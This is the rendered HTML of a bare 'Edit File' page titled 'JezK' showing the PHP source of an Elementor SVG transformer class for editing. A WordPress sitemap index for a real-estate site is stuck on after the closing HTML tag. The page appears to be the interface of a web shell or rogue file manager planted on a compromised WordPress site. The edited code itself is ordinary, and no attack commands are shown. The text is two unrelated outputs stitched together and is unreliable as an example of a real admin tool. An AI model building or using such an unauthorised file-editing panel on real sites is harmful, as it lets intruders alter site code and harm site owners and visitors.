
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: svg-src-transformer.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

namespace Elementor\Modules\AtomicWidgets\PropsResolver\Transformers;

use Elementor\Core\Utils\Svg\Svg_Sanitizer;
use Elementor\Modules\AtomicWidgets\PropsResolver\Props_Resolver_Context;
use Elementor\Modules\AtomicWidgets\PropsResolver\Transformer_Base;
use Elementor\Utils;

if ( ! defined( &#039;ABSPATH&#039; ) ) {
	exit;
}

class Svg_Src_Transformer extends Transformer_Base {
	const SVG_INLINE_STYLES = &#039;width: 100%; height: 100%; overflow: unset;&#039;;

	public function transform( $value, Props_Resolver_Context $context ) {
		$id = isset( $value[&#039;id&#039;] ) ? (int) $value[&#039;id&#039;] : null;
		$url = $value[&#039;url&#039;] ?? null;

		if ( $id ) {
			$resolved_url = wp_get_attachment_url( $id );

			if ( $resolved_url ) {
				$url = $resolved_url;
			}
		}

		$svg_content = $this-&gt;fetch_svg_content( $id, $url );
		$html = $svg_content ? $this-&gt;process_svg( $svg_content ) : &#039;&#039;;

		return [
			&#039;html&#039; =&gt; $html,
			&#039;url&#039; =&gt; $url,
		];
	}

	private function fetch_svg_content( ?int $id, ?string $url ): ?string {
		if ( $id ) {
			$path = get_attached_file( $id );
			$content = $path ? Utils::file_get_contents( $path ) : null;

			if ( $content ) {
				return $content;
			}
		}

		if ( ! $url ) {
			return null;
		}

		$local_path = $this-&gt;resolve_local_path( $url );

		if ( $local_path ) {
			$content = Utils::file_get_contents( $local_path );

			if ( $content ) {
				return $content;
			}
		}

		$response = wp_safe_remote_get( $url );

		if ( ! is_wp_error( $response ) ) {
			return $response[&#039;body&#039;];
		}

		return null;
	}

	private function resolve_local_path( string $url ): ?string {
		$site_url = site_url();

		if ( 0 !== strpos( $url, $site_url ) ) {
			return null;
		}

		$relative = substr( $url, strlen( $site_url ) );
		$path = ABSPATH . ltrim( $relative, &#039;/&#039; );

		return file_exists( $path ) ? $path : null;
	}

	private function process_svg( string $content ): string {
		$svg = new \WP_HTML_Tag_Processor( $content );

		if ( ! $svg-&gt;next_tag( &#039;svg&#039; ) ) {
			return &#039;&#039;;
		}

		$svg-&gt;set_attribute( &#039;fill&#039;, &#039;currentColor&#039; );
		$this-&gt;merge_inline_styles( $svg );

		return ( new Svg_Sanitizer() )-&gt;sanitize( $svg-&gt;get_updated_html() );
	}

	private function merge_inline_styles( \WP_HTML_Tag_Processor $svg ): void {
		$existing = trim( (string) $svg-&gt;get_attribute( &#039;style&#039; ) );

		$merged = empty( $existing )
			? self::SVG_INLINE_STYLES
			: rtrim( $existing, &#039;;&#039; ) . &#039;; &#039; . self::SVG_INLINE_STYLES;

		$svg-&gt;set_attribute( &#039;style&#039;, $merged );
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://www.mijikendarealestate.com/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-posts-property-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-posts-agent-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-posts-ube_content-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-post_tag-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-property-type-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-property-status-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-property-feature-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-property-label-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-property-state-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-property-city-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-property-neighborhood-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-agency-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
